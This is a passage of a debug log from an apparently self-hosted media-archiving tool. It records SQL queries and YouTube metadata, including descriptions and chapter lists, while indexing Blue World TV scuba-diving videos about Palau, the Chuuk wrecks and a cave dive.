Lake\n21:50 Wreck Diving\n38:05 Sharks and Strong current\n49:20 Cave Dive\n53:00 Bumphead Parrotfish Spawning\n58:45 Summary & Credits", "duration" => 3615, "filename" => "/downloads/rory/BlueWorldTV/2026-05-09 Palau Dive Expedition! | BLUE WORLD DOCUMENTARY/Palau Dive Expedition! | BLUE WORLD DOCUMENTARY [tcF5D-0nX_Y].mp4", "id" => "tcF5D-0nX_Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=tcF5D-0nX_Y", "playlist_index" => 2, "timestamp" => 1778335283, "title" => "Palau Dive Expedition! | BLUE WORLD DOCUMENTARY", "upload_date" => "20260509"} 19:02:44.249 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1550.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:44.251 [debug] QUERY OK source="sources" db=0.7ms idle=1551.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:44.253 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1553.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-09 14:01:23Z], 34] 19:02:44.254 [debug] QUERY OK source="media_items" db=0.9ms idle=1027.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this hour-long scuba diving adventure, the Blue World team travels to Palau and discovers all the reasons Palau is considered one of the best dive destinations in the world. From reefs to sharks to wrecks to caves and jellyfish lake, Palau has it all. Sit back and join the adventure!\n\nThis content was originally released as five individual webisodes. Here it is presented as a full-length documentary. Filmed in 2019.\n\nVisit Palau with Aggressor Fleet:\nhttps://www.aggressor.com/destination/palau\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n3:00 The first dive\n12:40 Night Dive\n14:30 Jellyfish Lake\n21:50 Wreck Diving\n38:05 Sharks and Strong current\n49:20 Cave Dive\n53:00 Bumphead Parrotfish Spawning\n58:45 Summary & Credits", "Palau Dive Expedition! | BLUE WORLD DOCUMENTARY", "acd6058e-3788-49dc-bf76-3548bf51805c", "tcF5D-0nX_Y", false, "https://www.youtube.com/watch?v=tcF5D-0nX_Y", 34, [], 3615, false, 2, "/downloads/rory/BlueWorldTV/2026-05-09 Palau Dive Expedition! | BLUE WORLD DOCUMENTARY/Palau Dive Expedition! | BLUE WORLD DOCUMENTARY [tcF5D-0nX_Y].mp4", false, false, 98, ~U[2026-05-09 14:01:23Z], ~U[2026-06-03 23:02:44Z], ~U[2026-06-03 23:02:44Z], "In this hour-long scuba diving adventure, the Blue World team travels to Palau and discovers all the reasons Palau is considered one of the best dive destinations in the world. From reefs to sharks to wrecks to caves and jellyfish lake, Palau has it all. Sit back and join the adventure!\n\nThis content was originally released as five individual webisodes. Here it is presented as a full-length documentary. Filmed in 2019.\n\nVisit Palau with Aggressor Fleet:\nhttps://www.aggressor.com/destination/palau\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n3:00 The first dive\n12:40 Night Dive\n14:30 Jellyfish Lake\n21:50 Wreck Diving\n38:05 Sharks and Strong current\n49:20 Cave Dive\n53:00 Bumphead Parrotfish Spawning\n58:45 Summary & Credits", "Palau Dive Expedition! | BLUE WORLD DOCUMENTARY", "tcF5D-0nX_Y", "https://www.youtube.com/watch?v=tcF5D-0nX_Y", 34, 3615, false, "/downloads/rory/BlueWorldTV/2026-05-09 Palau Dive Expedition! | BLUE WORLD DOCUMENTARY/Palau Dive Expedition! | BLUE WORLD DOCUMENTARY [tcF5D-0nX_Y].mp4", false, ~U[2026-05-09 14:01:23Z]] 19:02:44.255 [debug] QUERY OK source="sources" db=0.3ms idle=27.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:44.255 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:44.256 [debug] QUERY OK source="media_items" db=0.2ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [135505] 19:02:44.256 [debug] Current batch of media processed. Will check again in 1000ms 19:02:45.256 [debug] Current batch of media processed. Will check again in 1000ms 19:02:46.257 [debug] Current batch of media processed. Will check again in 1000ms 19:02:47.258 [debug] Current batch of media processed. Will check again in 1000ms 19:02:48.260 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this fourth installment of the Chuuk adventure series. In this adventure we explore the wrecks of the Unkai Maru and the Hoki Mari, in particular the amazing trucks found in the hold of the Hoki Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 4 of the Chuuk adventure! Have you seen PARTS 1-3?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\nhttps://youtu.be/LKKh2j6XvUY\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nPLEASE REMEMBER that wreck diving (and in fact all scuba diving) requires special training and equipment. This program is not a substitute for proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Tease & Introduction\n2:45 Arrive in Chuuk\n4:20 Dive on Unkai Maru\n10:50 Dive on the Hoki Maru\n19:00 Close and Credits", "duration" => 1212, "filename" => "/downloads/rory/BlueWorldTV/2026-04-11 The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]/The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4] [f9zJLNVZhPg].mp4", "id" => "f9zJLNVZhPg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=f9zJLNVZhPg", "playlist_index" => 3, "timestamp" => 1775916006, "title" => "The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]", "upload_date" => "20260411"} 19:02:48.261 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=562.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:48.262 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=563.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:48.265 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=564.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-11 14:00:06Z], 34] 19:02:48.267 [debug] QUERY OK source="media_items" db=1.5ms idle=566.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this fourth installment of the Chuuk adventure series. In this adventure we explore the wrecks of the Unkai Maru and the Hoki Mari, in particular the amazing trucks found in the hold of the Hoki Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 4 of the Chuuk adventure! Have you seen PARTS 1-3?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\nhttps://youtu.be/LKKh2j6XvUY\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nPLEASE REMEMBER that wreck diving (and in fact all scuba diving) requires special training and equipment. This program is not a substitute for proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Tease & Introduction\n2:45 Arrive in Chuuk\n4:20 Dive on Unkai Maru\n10:50 Dive on the Hoki Maru\n19:00 Close and Credits", "The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]", "3e13fec6-e280-411d-8ed1-05f99a5d6f44", "f9zJLNVZhPg", false, "https://www.youtube.com/watch?v=f9zJLNVZhPg", 34, [], 1212, false, 3, "/downloads/rory/BlueWorldTV/2026-04-11 The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]/The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4] [f9zJLNVZhPg].mp4", false, false, 98, ~U[2026-04-11 14:00:06Z], ~U[2026-06-03 23:02:48Z], ~U[2026-06-03 23:02:48Z], "The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this fourth installment of the Chuuk adventure series. In this adventure we explore the wrecks of the Unkai Maru and the Hoki Mari, in particular the amazing trucks found in the hold of the Hoki Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 4 of the Chuuk adventure! Have you seen PARTS 1-3?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\nhttps://youtu.be/LKKh2j6XvUY\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nPLEASE REMEMBER that wreck diving (and in fact all scuba diving) requires special training and equipment. This program is not a substitute for proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Tease & Introduction\n2:45 Arrive in Chuuk\n4:20 Dive on Unkai Maru\n10:50 Dive on the Hoki Maru\n19:00 Close and Credits", "The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]", "f9zJLNVZhPg", "https://www.youtube.com/watch?v=f9zJLNVZhPg", 34, 1212, false, "/downloads/rory/BlueWorldTV/2026-04-11 The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]/The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4] [f9zJLNVZhPg].mp4", false, ~U[2026-04-11 14:00:06Z]] 19:02:48.267 [debug] QUERY OK source="sources" db=0.2ms idle=33.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:48.268 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:48.268 [debug] QUERY OK source="media_items" db=0.2ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [127955] 19:02:48.268 [debug] Current batch of media processed. Will check again in 1000ms 19:02:49.269 [debug] Current batch of media processed. Will check again in 1000ms 19:02:50.270 [debug] Current batch of media processed. Will check again in 1000ms 19:02:51.272 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd were hoping to do a dive with world-renown cave explorer Robbie Schmittner...but Robbie forgot his drysuit. So handed them a strange device called a Mnemo and sent them into the cave alone. Here's what happened!\n\nWARNING Cave diving is incredibly dangerous. Do not attempt to dive in caves without proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n1:40 Meeting up with Robbie\n4:40 The Dive\n12:56 Heading back\n13:44 Summary\n14:07 Credits", "duration" => 868, "filename" => "/downloads/rory/BlueWorldTV/2026-03-07 Two Divers go into a CAVE...with a gadget?/Two Divers go into a CAVE...with a gadget? [55GGIDpWOqY].mp4", "id" => "55GGIDpWOqY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=55GGIDpWOqY", "playlist_index" => 4, "timestamp" => 1772895608, "title" => "Two Divers go into a CAVE...with a gadget?", "upload_date" => "20260307"} 19:02:51.273 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1574.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:51.274 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1575.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:51.276 [debug] QUERY OK source="media_items" db=0.8ms idle=1576.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-07 15:00:08Z], 34] 19:02:51.277 [debug] QUERY OK source="media_items" db=1.0ms idle=1040.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd were hoping to do a dive with world-renown cave explorer Robbie Schmittner...but Robbie forgot his drysuit. So handed them a strange device called a Mnemo and sent them into the cave alone. Here's what happened!\n\nWARNING Cave diving is incredibly dangerous. Do not attempt to dive in caves without proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family 